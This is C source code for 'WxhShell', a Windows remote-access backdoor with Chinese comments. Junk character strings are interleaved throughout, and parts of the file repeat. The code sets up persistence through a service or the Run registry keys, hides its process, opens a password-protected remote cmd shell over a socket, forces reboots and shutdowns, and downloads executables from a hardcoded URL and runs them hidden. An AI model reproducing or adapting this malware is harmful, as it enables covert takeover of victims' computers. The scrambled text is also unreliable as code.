O,-b& PROCESS_BASIC_INFORMATION pbi; S0-/9h 6)Dp2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e(;nhU3a*, if(NULL == hInst ) return 0; O{44GB3 F ][QH\N g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Jvb6V<R g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H2D j`0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]2'{W]m J3# if (!NtQueryInformationProcess) return 0; 2=ZZR8v \`,,r_tO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DeL7sU if(!hProcess) return 0; `PeWV[? .~fAcc{Qj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q.]RYv}\ *Zi:^<hv CloseHandle(hProcess); OBJk\j+Wi VLfE3i4Vwl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9t^Q_ [hG if(hProcess==NULL) return 0; nolLeRE1 iPoDesp HMODULE hMod; ;*_U)th char procName[255]; 1%,AU unsigned long cbNeeded; f MDM\&f 7Yrp#u1! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `VxfAV?} Z )f\^ CloseHandle(hProcess); CUo %i/R ><Z`)}f if(strstr(procName,"services")) return 1; // 以服务启动 +r
2\v fooQqWC) return 0; // 注册表启动 =2yg:D } NiTLQ"~e 9e:}qO5) // 主模块 'WW[' int StartWxhshell(LPSTR lpCmdLine) sTALOL< { Yh}F SOCKET wsl; R0!qweGi@ BOOL val=TRUE; |p1pa4%} int port=0; [rt+KA struct sockaddr_in door; D3+UV+&R/ $2j?Z.yEG if(wscfg.ws_autoins) Install(); .g6DKjy> e~,/Z\i port=atoi(lpCmdLine); (YJ]}J^ 4vk^= if(port<=0) port=wscfg.ws_port; }m6j6uAR6) CdN,R"V0$@ WSADATA data; 9-9:]2~g! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :RnFRAcr E"P5rT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D|1pBn.b]' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dU~DlaEy( door.sin_family = AF_INET; `Oc`I9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); jJmg9&^R door.sin_port = htons(port); ;i2N`t2 3 #zwY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |H)WJ/` closesocket(wsl); LK^t](F return 1; G1d!a6> } 9x~qcH% DfCo= if(listen(wsl,2) == INVALID_SOCKET) { >qSaF closesocket(wsl); ^'|\8 return 1; kOfu7Zj } *1L;%u| [ Wxhshell(wsl); dD2N!umW WSACleanup(); 2HNH@K &&w7- return 0; %0PZZl5b q1nGj } 3huTT"G tVN#i // 以NT服务方式启动 LW;UL}av VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $h Isab_ { .>-`2B*/ DWORD status = 0; c{Ax{-'R DWORD specificError = 0xfffffff; "/).:9],} }31z
35 serviceStatus.dwServiceType = SERVICE_WIN32; P^%.7C serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^ftZ{uA serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f.gkGwNk serviceStatus.dwWin32ExitCode = 0; 4ifWNL^) serviceStatus.dwServiceSpecificExitCode = 0; >sE5zj|V serviceStatus.dwCheckPoint = 0; '\:?FQ
C serviceStatus.dwWaitHint = 0; Fc;)p88[ ;X u&['
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); saH +C@_, if (hServiceStatusHandle==0) return; 8VLr*83~8 n_@YKz;8 status = GetLastError(); '|e5 cW6z if (status!=NO_ERROR) 9-+6Ed^2 { ybtje=3E serviceStatus.dwCurrentState = SERVICE_STOPPED; %}G:R!4 d serviceStatus.dwCheckPoint = 0; "[=Ee[/ serviceStatus.dwWaitHint = 0; ?K7m:Dx serviceStatus.dwWin32ExitCode = status; U~SK 'R serviceStatus.dwServiceSpecificExitCode = specificError; L4aT=of- SetServiceStatus(hServiceStatusHandle, &serviceStatus); l_LfV ON return; 7581G$@ym } Rww"Z=F 5:f}bW* serviceStatus.dwCurrentState = SERVICE_RUNNING; C,Je >G serviceStatus.dwCheckPoint = 0; 0Bn$C,- serviceStatus.dwWaitHint = 0; |pr~Ohz if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `SWf)1K } &adKKYN 7/(C1II.Q // 处理NT服务事件,比如:启动、停止 T7n;Bf VOID WINAPI NTServiceHandler(DWORD fdwControl) L[+65ce%* { KoQvC=+WI switch(fdwControl) xYM!mcA { A20_a;V case SERVICE_CONTROL_STOP: )zt*am; serviceStatus.dwWin32ExitCode = 0; jHB,r^:' serviceStatus.dwCurrentState = SERVICE_STOPPED; W.o
W=< serviceStatus.dwCheckPoint = 0; kaUH#;c>_ serviceStatus.dwWaitHint = 0; }mz4 3Sq< { XLFJ?$)Tro SetServiceStatus(hServiceStatusHandle, &serviceStatus); \VPU) } 0_Etm83Wq6 return; ~9]tt\jN*Y case SERVICE_CONTROL_PAUSE: hW>@jT"t1C serviceStatus.dwCurrentState = SERVICE_PAUSED; t,R5FoV break; a&ZH case SERVICE_CONTROL_CONTINUE: bQ0m=BzF serviceStatus.dwCurrentState = SERVICE_RUNNING; blaxUP: break; "xS",6Sy case SERVICE_CONTROL_INTERROGATE: t ba%L break; `-Gs*#(/ }; ImklM7A SetServiceStatus(hServiceStatusHandle, &serviceStatus); qVJV 9n } =5^L_, 4c2 ^fS~va // 标准应用程序主函数 ksm=<I"C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^5u} { w{K_+}fAC )e9(&y*o // 获取操作系统版本 ,/:#=TuYm OsIsNt=GetOsVer(); z7{b>oub(' GetModuleFileName(NULL,ExeFile,MAX_PATH); ;{BELv-4 dB_\0?jJ- // 从命令行安装 Uh?SDay if(strpbrk(lpCmdLine,"iI")) Install(); $}W=O:L+D vYmRW-1Zxq // 下载执行文件 wC <!,tB(8 if(wscfg.ws_downexe) { u Dm=W36 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )"A+T& WinExec(wscfg.ws_filenam,SW_HIDE); OyZgg(iN } tQz-tQg Sxjwqqv if(!OsIsNt) { WZ@nuK.39T // 如果时win9x,隐藏进程并且设置为注册表启动 ~+QfP:G HideProc(); '(&.[Pk:" StartWxhshell(lpCmdLine); M*8Ef^-U`t } s+C&\$E else U $X"W' if(StartFromService()) GvF~h0wMt // 以服务方式启动 J03yFT,dF StartServiceCtrlDispatcher(DispatchTable); bb+-R_3Kd else [=7|LHjU // 普通方式启动 5RI"gf StartWxhshell(lpCmdLine); 2m[z4V@` ~WehG<p v[ return 0; hqD]^P>l1 } :=T+sT~ )g9Zw_3 `kVy1WiY k[gO>UGB; =========================================== dilRL, m:)v>v u yWsNG;> k^S=i_ U +/-#yfn!TR +i4S^B/8i " a~9U{)@F D7olu29 #include <stdio.h> 8uchp #include <string.h> ]xCJ3.9 #include <windows.h> #dtYa #include <winsock2.h> bezT\F/\ #include <winsvc.h> zVd2kuI&? #include <urlmon.h> &BFW`5N |K,9EM3 #pragma comment (lib, "Ws2_32.lib") '0p 5|[ZD #pragma comment (lib, "urlmon.lib") UMma|9l(i 0;#%KC, #define MAX_USER 100 // 最大客户端连接数 9H_2Y%_ #define BUF_SOCK 200 // sock buffer S>/p6}3] #define KEY_BUFF 255 // 输入 buffer %r=uS.+hrF \rF6"24t6 #define REBOOT 0 // 重启 zy"L%i #define SHUTDOWN 1 // 关机 p&>*bF, dpDVEEs84 #define DEF_PORT 5000 // 监听端口 `|XE B 1y2D]h /' #define REG_LEN 16 // 注册表键长度 IgI*mDS&b #define SVC_LEN 80 // NT服务名长度 JN .\{ Y xdd7OSc0{ // 从dll定义API #5wOgOv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o8-BTq8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X|TEeE c[L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j&6,%s-M`a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @{iws@. wZJpSkcEx // wxhshell配置信息 &=Gz[1
L struct WSCFG { IEfzu L<v int ws_port; // 监听端口 3l_Ko%qS char ws_passstr[REG_LEN]; // 口令 9c1g,:8\ int ws_autoins; // 安装标记, 1=yes 0=no IL 'i7p char ws_regname[REG_LEN]; // 注册表键名 %0fF_OU char ws_svcname[REG_LEN]; // 服务名 u_;*Ay char ws_svcdisp[SVC_LEN]; // 服务显示名 Nwr.mtvh char ws_svcdesc[SVC_LEN]; // 服务描述信息 /;-KWu+5= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }fpK{db int ws_downexe; // 下载执行标记, 1=yes 0=no an_qE}P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^1s!OT Is char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *;"N kCf ;2Db/"`t }; LZch7Xe3 X,:pT\G // default Wxhshell configuration VUC struct WSCFG wscfg={DEF_PORT, 9I0/KuZd
O "xuhuanlingzhe", \(Dq=UzQI 1, 9yH95uaDF "Wxhshell", .;yy=
Rj "Wxhshell", bj\v0NKN4 "WxhShell Service", q>/#
P5V "Wrsky Windows CmdShell Service", 1 mhX3 "Please Input Your Password: ", SlB,?R2 1, e4p:Zb: "http://www.wrsky.com/wxhshell.exe", a\S"d "Wxhshell.exe" b Gq0k& }; )f1<-a"D| hLPg=8nJ_ // 消息定义模块 !8yw!hA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Mc kR char *msg_ws_prompt="\n\r? for help\n\r#>"; *Dtwr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u
'DM?mV:- char *msg_ws_ext="\n\rExit."; #P.jlpZk char *msg_ws_end="\n\rQuit."; gYVk5d|8@4 char *msg_ws_boot="\n\rReboot..."; Qj5~ lX`W char *msg_ws_poff="\n\rShutdown..."; G;_QE<V~_ char *msg_ws_down="\n\rSave to "; -fw0bL%0 `,i'vb`W#b char *msg_ws_err="\n\rErr!"; ZZOBMF7 char *msg_ws_ok="\n\rOK!"; '\\dh ^29w@* char ExeFile[MAX_PATH]; O( G|fs int nUser = 0; Q];gC{I HANDLE handles[MAX_USER]; /%C6e
)7BL int OsIsNt; ^8$CpAK]M b/Y9fQn SERVICE_STATUS serviceStatus; pW7vY)hj SERVICE_STATUS_HANDLE hServiceStatusHandle; :_JZn`Cab jLX{$, // 函数声明 f I>>w)5 int Install(void); /tl/%:U*. int Uninstall(void); %[\:
8 int DownloadFile(char *sURL, SOCKET wsh); biG=4?Xl int Boot(int flag); ]vJZ v"ACn void HideProc(void); 0Ge*\Q int GetOsVer(void); h^^zR)EVb int Wxhshell(SOCKET wsl); .NcoST9a void TalkWithClient(void *cs); >C y int CmdShell(SOCKET sock); Cbm int StartFromService(void); F,Y,0f@4U9 int StartWxhshell(LPSTR lpCmdLine); ^I3cU'X "<ow;ciJF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J~KWn. VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2K<rK( }uo5rB5D // 数据结构和表定义 )tR5JK} AV SERVICE_TABLE_ENTRY DispatchTable[] = o6sL~*hQ { E*ybf' {wscfg.ws_svcname, NTServiceMain}, (Z5=GJM?$ {NULL, NULL} z_R^n#A~r }; C-d|;R}Ww _6" vPN // 自我安装 x%d+~U;$& int Install(void) } Uki)3( { xEQ2iCeC char svExeFile[MAX_PATH]; E0[!jZ:c HKEY key; CN8GeZ-G strcpy(svExeFile,ExeFile); a(Ka2;M4J K y~
9's // 如果是win9x系统,修改注册表设为自启动 QEL^0c8 ~ if(!OsIsNt) { jm&?;~>O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9|WBJ6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6cz%>@ RegCloseKey(key); "Pi\I9M3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '`?\CXX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 11}sRu/ RegCloseKey(key); (1JZuR<?c return 0; f gI.q } W"Hjn/xSS } fl _k5Q'&p } c:I1XC else { sj a;NL W!q'wrIx( // 如果是NT以上系统,安装为系统服务 rg+28tlDn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3S1V^C-eBx if (schSCManager!=0) "wL~E Si { q88p~Ccoa SC_HANDLE schService = CreateService S+>&O3m ( EquNg@25W schSCManager, 4 q}1 wscfg.ws_svcname, 'D%No!+Py wscfg.ws_svcdisp, y@]4xLB] SERVICE_ALL_ACCESS, wpu]{~Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pc{D,/EpR SERVICE_AUTO_START, Gp9>R~$ SERVICE_ERROR_NORMAL, +4\JY"oi svExeFile, ,{ CgOz+Ul NULL, 'KpCPOhfR NULL, z:9 NULL, /-z_"G NULL, $D5[12X NULL ,'5P[- ); 5Zs"CDU if (schService!=0) )<G>]IP< { }#zE`IT CloseServiceHandle(schService); v}A] R9TY CloseServiceHandle(schSCManager); hJ4==ILx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $m:}{:LDCf strcat(svExeFile,wscfg.ws_svcname); F`8A!|cIy if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CvmZW$5Yo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &=|W95 RegCloseKey(key); a1ZGMQq! return 0; %8`zaa } hDmtBdE } ^i&Qr+v CloseServiceHandle(schSCManager); pW8pp? } i051qpj } Xn.zN>mB ]@l~z0^|[_ return 1; H(Mlf } NF0IF#;a .
)Fn]x"< // 自我卸载 }^G'oR1LF int Uninstall(void) meR%);\ { <<(~'$~,L HKEY key; 6`NsX [#j|TBMHM if(!OsIsNt) { <y*#[:i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gb@Rx RegDeleteValue(key,wscfg.ws_regname); GY,@jp|R RegCloseKey(key); ~FZLA} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)%;#~\A RegDeleteValue(key,wscfg.ws_regname); DBCL+QHA RegCloseKey(key); AEPgQ9#E return 0; 1>a^Q } )t&|oQ3sVG } 9<7Q { } a6WE,4T9 else { wgLS9. RfN5X}&A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1Od:I}@ if (schSCManager!=0) +hjc~|RK { -rH4/Iby SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b%$S6. if (schService!=0) e-qr d { rUlpo|B if(DeleteService(schService)!=0) { l*'8B)vN2 CloseServiceHandle(schService); wO8^|Yf CloseServiceHandle(schSCManager); KN}[N+V> return 0; lS?f?n^ } aE,x>I 7 D CloseServiceHandle(schService); 3J'a } J)jiI> CloseServiceHandle(schSCManager); DT 9i<kl } zztW7MG2lQ } !+>yCy$~_ }O1F.5I1 return 1; }=f}@JlFB } Q&QR{?PMD N`iK1n4X // 从指定url下载文件 Jr''S}@|x int DownloadFile(char *sURL, SOCKET wsh) cK-!Evv { ppV\FQ{K HRESULT hr; //LXbP3/ char seps[]= "/"; jC\R8_ char *token; 3\(s=-vh char *file; ;U7\pc;S char myURL[MAX_PATH]; #=O0-si]P char myFILE[MAX_PATH]; jNIM1_JjD ]iz5VI@ strcpy(myURL,sURL); Fa/i./V2 token=strtok(myURL,seps); Oi7=z?+j while(token!=NULL) fA3 { p!Gf^ file=token; /(}V!0\? token=strtok(NULL,seps); uWfse19 } e.HN%LrhS e<C5}#wt GetCurrentDirectory(MAX_PATH,myFILE); Q z/pz_} strcat(myFILE, "\\"); V_
]4UE strcat(myFILE, file); 5#d(_ send(wsh,myFILE,strlen(myFILE),0); -8pHjry'q send(wsh,"...",3,0); k~vmHb hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N{q'wep if(hr==S_OK) R]V`t^1 return 0; /kJ*WA?J else `r]Cd
{G return 1; gai?LXM
l} 7H[+iS0 } Ha/\&Z( }j:ae \( // 系统电源模块 l+N?:E$5=% int Boot(int flag) +f7?L]wzic { ,F*e^#> HANDLE hToken; C>MoR 3] TOKEN_PRIVILEGES tkp; wR4P0[ z$<6;2 if(OsIsNt) { {jc~s~<# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &FZe LIt LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b%_QL3m6 tkp.PrivilegeCount = 1; i5wA=K_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 34?yQX{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S m1bDa\!= if(flag==REBOOT) { BT#>b@Xub if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K8+b\k4E return 0; P"]+6sm&es } JRiuU:=J~` else { 1uH\Bn]p? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .o-j return 0; /9yiMmr5W } bFVdv&
} '~f@p~P else { yk5P/H) if(flag==REBOOT) { hKT:@l* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U'lD|R,g return 0; q+:(@w6 } GS$k else { h1kPsgzR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1Efl|lV return 0; SB'YV#-- } <s2l*mc } czb%%:EJs| XH2SEeh return 1; .J@[v } 0!VLPA: C&st7.
(k // win9x进程隐藏模块 u}rot+)% void HideProc(void) xWwPrd { %<"11;0tp /j)VES HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a"DV`jn if ( hKernel != NULL ) UbibGa=
) { Y1'.m5E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w@ 5/mf? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); < t (Pw FreeLibrary(hKernel); "[?/I3{E } h.9Lh ;j _%2Umy| return; p)^:~ll } nMa^Eq# &0eB@8{N // 获取操作系统版本 }H#t( 9,U int GetOsVer(void) 9v
F2aLPk { XH *tChf< OSVERSIONINFO winfo; {e%abr_B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A]+h<Y~} GetVersionEx(&winfo); yKB[HpU- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NslA/"* return 1; <ut DZ#k else QP[a^5;Tt return 0; P\mm8s`f } Doh|G:P]# ^!<7#kX // 客户端句柄模块 ~0-764% int Wxhshell(SOCKET wsl) 6}T%m?/ } { &7T
H
V SOCKET wsh; cXY'>N struct sockaddr_in client; '^l^gW/|\ DWORD myID; = b!J)]
`,Nn4 while(nUser<MAX_USER) o w_y { iHn!KV int nSize=sizeof(client);
;Zq~w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D w=Z_+J if(wsh==INVALID_SOCKET) return 1; daIL> c" 8}{o2r@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,GJ>vT) if(handles[nUser]==0) ~J-|,ZMd closesocket(wsh); P"x-7>c>Y
else ZGpTw[5ql nUser++; bjBeiKH } b3b~T]] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K` ,d$ &@HNz6KO return 0; ^dnz=FB } ),]2`w&k !049K!rP{ // 关闭 socket '95E;RV& void CloseIt(SOCKET wsh) Yb\\
w<@g { q Iy^N:C2' closesocket(wsh); Nr24[e
G>d nUser--; RF5q5<0 ExitThread(0); [DxefYyI } F[kW:-ne@Z `8(h,aj; // 客户端请求句柄 w2d]96*kQe void TalkWithClient(void *cs) Yxd{&47 { zNny\Z
f5aF6FBH SOCKET wsh=(SOCKET)cs; 7y)=#ZG'R char pwd[SVC_LEN]; 9c6GYWIFt& char cmd[KEY_BUFF]; QM ZUt char chr[1]; 'q92E( int i,j; {zz6XlKPj ~zxwg+:QO while (nUser < MAX_USER) { @?Gw|bP KR=d"t Qw if(wscfg.ws_passstr) { hDljY!P>p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R6!cK[e]4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yQZ/,KX //ZeroMemory(pwd,KEY_BUFF); {OO*iZ.O i=0; ?+n&hHRg while(i<SVC_LEN) { 3qiJwo> ])V2}gH // 设置超时 f6B-~x<l fd_set FdRead; vm\wO._ struct timeval TimeOut; n @&"+ FD_ZERO(&FdRead); d&|z=%9xl FD_SET(wsh,&FdRead); :}@C9pqr2 TimeOut.tv_sec=8; Tr8AG> TimeOut.tv_usec=0; =#i4MXRZ{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |rHG%VnBH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b96t0w!cs !/Iq{2LX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l'*^$qc pwd=chr[0]; 1BQ0M{& if(chr[0]==0xd || chr[0]==0xa) { sI&i{D pwd=0; v2hZq-q break; qoC]#M$oo# } <<=e9Lh i++; A~Z6jK } erx5j\ E/mubA(& // 如果是非法用户,关闭 socket bTLMd$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3 p/b } I|,pE**T Deg!<[Nw send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q$r&4s)To send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |KL')&" U;xu/xDRi while(1) { I=K!)X$ v(DwU! ZeroMemory(cmd,KEY_BUFF); q7X}MAW .L9']zXc` // 自动支持客户端 telnet标准 !z11"
c j=0; 1T ( u while(j<KEY_BUFF) { Qg(Z{V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !^m%O0DT cmd[j]=chr[0]; 'E4AV58. if(chr[0]==0xa || chr[0]==0xd) { L}'Yd' cmd[j]=0; W'a(oI break; t\h$&[[l'z } ^+ZgWS^%
j++; |%
z^N* } N]NF\7( {esJ=FV\ // 下载文件 bS.s?a if(strstr(cmd,"http://")) { HBH$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =#qZ3 Qz_ if(DownloadFile(cmd,wsh)) QK)){cK send(wsh,msg_ws_err,strlen(msg_ws_err),0); zuSq+pxL@ else <aJ$lseG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,LDm8 } iPq &Y* else { nVE9^')8V 8)N@qUV switch(cmd[0]) { c.AYxI" ';0 qj$# // 帮助 %Y]=1BRk} case '?': { @@@=}!<H= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O.,3| break; =<c#owe:m }
aTd
D`h // 安装 Z:*@5 case 'i': { $Az^Y0[D if(Install()) pd3,pQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); K{@3\5< else UDy(dn>J:J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <F;v`h|+S break; .~>?*} } *4S-z&,.c // 卸载 UH?
p]4Nz case 'r': { BecPT if(Uninstall()) DZ$`
4;C[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); k|vI<:'p, else 1TS0X:TCn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W=JAq%yd< break; `Out(Hn } =PkO!Mm8 // 显示 wxhshell 所在路径 8j5<6Cv_
case 'p': { !}f1`/ char svExeFile[MAX_PATH]; qJPT%r strcpy(svExeFile,"\n\r"); #>[a{<;Kn strcat(svExeFile,ExeFile); 0nJE/JZ send(wsh,svExeFile,strlen(svExeFile),0); +JRF0T break; ,](:<A)W& } q[3x2sR // 重启 WIr2{+# case 'b': { h6_(?|:-( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \f:z+F!6R if(Boot(REBOOT)) \Q~8?p+ send(wsh,msg_ws_err,strlen(msg_ws_err),0);
YZc>dE else { 0'5/K , closesocket(wsh); kDvc"
,SD# ExitThread(0); S4UM|` } "_|oW n break; {@W93=Vq8 } >Dw~POMy // 关机 1Xu?(2;NF case 'd': { Fd]\txOXj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {-3L IO if(Boot(SHUTDOWN)) T9W`?A send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.T
UmJ else { =m89z}Ot closesocket(wsh); &;yH@@Z ExitThread(0); IW=cym7 } te|?)j break; r3E!dTDWq } :W#rhuzC // 获取shell %nN `|\ case 's': { M_v?9L CmdShell(wsh); Snp|!e closesocket(wsh); [.se|]t7X ExitThread(0); q6Rr.A break; >r`b_K } L`f^y;Y. // 退出 >~%e$a7}+ case 'x': { *IgE)N> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qm/Q65>E CloseIt(wsh); S/|,u`g- break; O[tvR:Nh } 1b=lpw1} // 离开 7C#`6:tI case 'q': { ;!:U((wv send(wsh,msg_ws_end,strlen(msg_ws_end),0); vEf4HZ&w closesocket(wsh); V7#v6!7A@ WSACleanup(); Z^ }mp@j> exit(1); R_M?dEtE> break; SJD@&m%?[ } kEwaT$ } 5T sU Qc } 720PjQ "$s~SIUB // 提示信息 :0Z^uuk`gq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KiG p[eb } %X#zj" } 21k5I #U )`^p%k return; ^u3V
E } hW{j\@R U(~+o // shell模块句柄 +`3!I int CmdShell(SOCKET sock) z-M3 { o7IxJCL=Q STARTUPINFO si; gV&z2S~" ZeroMemory(&si,sizeof(si)); ~?B;!Csk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A?Bif; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t_mIOm)S% PROCESS_INFORMATION ProcessInfo; ^vG8#A}] char cmdline[]="cmd"; 9 \^|6k, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^CwR!I.D}4 return 0; (O0Urm } g{5A4|_7 <n3!{w3< // 自身启动模式 ,3nN[)dk int StartFromService(void) }9nDo*A"} { !^Q.VYY typedef struct K~ ;45Z2 { 2NB L}x DWORD ExitStatus; Nk {XdrY DWORD PebBaseAddress; eh"3NRrN DWORD AffinityMask; N!*_La=TuH DWORD BasePriority; ;WldHaZ9r ULONG UniqueProcessId; qCv20#!"| ULONG InheritedFromUniqueProcessId; sXNb }gJ } PROCESS_BASIC_INFORMATION; WxF:~{ |!y A@y? PROCNTQSIP NtQueryInformationProcess; p!s}=wI` k}~O}~- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `5H$IP1XhA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PTj&3`v OgX6'E\E HANDLE hProcess; ak:c rrkx PROCESS_BASIC_INFORMATION pbi; u ElAnrm 2B,] -Mu) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &N3Y|2 if(NULL == hInst ) return 0; qc-mGmom L j2 !3rI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C:G8c[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); - M,7N}z@; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }. z&P' Xt#1Qs if (!NtQueryInformationProcess) return 0; n`4K4y%Dy} 7#wn<HDY% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }2ZsHM^]% if(!hProcess) return 0; t!IaUW <x!GE>sf+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g(#f:" J!DF^fLe CloseHandle(hProcess); z)uuxNv[R I2H6y"pN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uo-`>7 if(hProcess==NULL) return 0; =~+DUMBT Pzb|t+"$ HMODULE hMod; w4fW<ISg char procName[255]; ~@kU3ZGJZ 